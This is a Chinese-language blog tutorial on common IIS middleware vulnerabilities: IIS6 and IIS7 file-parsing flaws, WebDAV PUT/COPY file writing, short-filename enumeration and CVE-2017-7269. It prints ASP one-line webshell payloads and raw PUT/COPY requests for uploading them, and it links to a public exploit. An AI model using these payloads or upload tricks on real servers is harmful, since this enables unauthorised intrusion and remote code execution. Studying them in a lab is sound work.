深入浅出带你学习IIS中间件常见漏洞


theme: smartblue

本文正在参加「金石计划 . 瓜分6万现金大奖」

前言

在渗透过程中我们经常会思考如何去进行渗透,假如给了我们一个有很多中间件的网站我们要如何进行渗透呢?于是本人准备写一些包含常见中间件漏洞攻击的总结,希望可以帮到大家在面临不同渗透环境时会有渗透思路,本篇文章就先给大家介绍IIS中间件漏洞。

IIS是什么?

在学习中间件漏洞前,我们要明白IIS是什么,简单来说,IIS是一种服务,是Windows 2000 Server系列的一个组件。是一种Web(网页)服务组件,它的主要作用可以归纳为以下几点:

网页浏览

文件传输

新闻服务

邮件发送

简单了解后相信大家对于IIS是什么有个大概的了解了,下面就讲解一下IIS中间件会存在的漏洞以及利用方法。

IIS 6 解析漏洞

存在一个Web 服务器(IIS6.0), 假设我们上传服务器一个文件xino.asp;.jpg,服务器默认不解析;号后面的内容,因此xxx.asp;.jpg被当做asp文件解析,于是我们就可以通过这个解析漏洞来上传木马去进行攻击,可以看下面的例子:

我们先建立一个ASP一句话木马,内容为下:

<%eval request("XINO")%> 

进入网页通过插件查看网站中间件:

图片.png

发现IIS是存在解析漏洞的版本,于是我们上传XINO.asp;.jpg文件来绕过,上传成功后我们通过WEBSHELL连接工具去进行连接,密码为我们所设置的XINO:

图片.png

可以发现成功GET到了服务器的SHELL。

IIS 7 解析漏洞

IIS7版本的解析漏洞其实和IIS6的换汤不换药,只是解析方式改变了一下,我们在文件/xino.jpg后面加上/xx.php会将/xino.jpg/xx.php 解析为 php 文件,这样我们就可以在上传的时候写入PHP一句话木马,假如我们写一个php命令执行文件来查看php版本信息:

<?php phpinfo();?>

我们按照上面解析规则来进行绕过,上传成功后访问我们所上传的文件,成功显示给我们了php的信息:

图片.png

PUT任意文件写入

IIS如果在网站拓展服务中开启了WebDAV,可以利用写入权限,通过PUT写入任意文件,我们构造PAYLOAD:

PUT /XINO.txt HTTP1.1
Host: www.xxx.com
Content-Lenth:30


<%eval request("XINO123")%>

上传成功后,我们通过下面命令去进行覆盖:

COPY /xino.txt HTTP1.1
Host:www.xxx.com
Destination:
http://www.xxx.com/xino.asp

发送之后我们xino.txt就会重命名为了xino.asp,这样我们就可以成功上传木马了。

IIS短文件漏洞

该漏洞的原理是因为Windows为文件名较长的文件生成了对应的DOS 8.3 短文件名。而在IIS服务中,我们通过传入带有~符号的路径参数来通过服务器会先判断是否存在这个文件。若存在会返回404,反之返回400。主要影响版本如下:

图片.png

RCE-CVE-2017-7269

影响范围为安装了IIS6.0的服务器,如果服务器开启了WebDAV支持,就可能会造成该漏洞。

原因是因为:ScStoragePathFromUrl函数存在缓冲区溢出漏洞,简单来说在PROPFIND中,由于对http的长度没有进行检查,于是我们通过构造HTTP请求来覆盖栈中的关键位置。具体原理可以参考下面文章:

http://whereisk0shl.top/cve-2017-7269-iis6-interesting-exploit.html

为了方便大家这里也将该漏洞的exploit链接放在下面:

https://github.com/Al1ex/CVE-2017-7269

具体用法就是下载后将文件放入Metasploit的iis模块下面,之后我们就可以使用该exploit去进行攻击:

图片.png

结语

简单总结了一下IIS中间件的常见漏洞以及攻击方法不知道大家学会了没有,文章主要还是讲了IIS中解析漏洞的实现方法,有兴趣的小伙伴不妨去搭建一个靶机去测试一下,喜欢本文的小伙伴不妨一键三连支持一下。

© 版权声明
THE END
喜欢就支持一下吧
点赞5 分享
评论 抢沙发
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片

    暂无评论内容